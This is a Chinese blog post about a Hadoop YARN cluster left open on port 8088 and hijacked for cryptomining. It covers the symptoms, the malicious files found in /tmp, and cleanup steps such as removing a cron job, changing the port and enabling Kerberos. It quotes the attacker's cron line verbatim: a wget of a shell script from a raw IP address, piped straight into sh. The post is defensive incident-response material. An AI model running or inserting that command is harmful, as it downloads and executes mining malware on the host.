1. 程式人生 > >【黑客】yarn:8088介面,任務太多,顯示不出來。被挖礦,第一次體驗到黑客的力量

【黑客】yarn:8088介面,任務太多,顯示不出來。被挖礦,第一次體驗到黑客的力量

1.現象

開啟yarn的8088介面,根本無法檢視,因為任務數1873個,根本無法顯示,自己表示崩潰。

然後,重啟hdfs和yarn服務,發現mr任務依舊在增長,由dr.who建立執行,但是自己從沒有執行這個任務。真的很崩潰。

2.原因:

經過網上多番查詢,知道這個是由於叢集被黑客攻擊,被挖礦。瞬間感覺崩潰。

3.解決步驟,還好由大神指點

(1)top檢視,關閉cpu高的程序

 3326 root      20   0 4715044 518644  13660 S   1.0  6.5   0:46.21 java                                             
    1 root      20   0   43212   3340   2284 S   0.0  0.0   0:00.82 systemd                                          
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kthreadd 

(2)檢查/tmp和/var/tmp目錄下,java、ppc、w.con以及所有可執行檔案

/var/tmp下
java

/tmp下
k4和x86

(3)crontab -e檢視有下面任務,刪除,每個人都一樣

* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

(4)改變yarn的8088埠到其他埠

修改yarn-site.xml

	<property>
		<name>yarn.resourcemanager.webapp.address</name>
		<value>hadoop:9090</value>
	</property> 

4.注意

這個方法只能暫時解決問題,解決還是需要啟用Kerberos認證。

參考blog:https://www.cnblogs.com/daxiangfei/p/9198856.html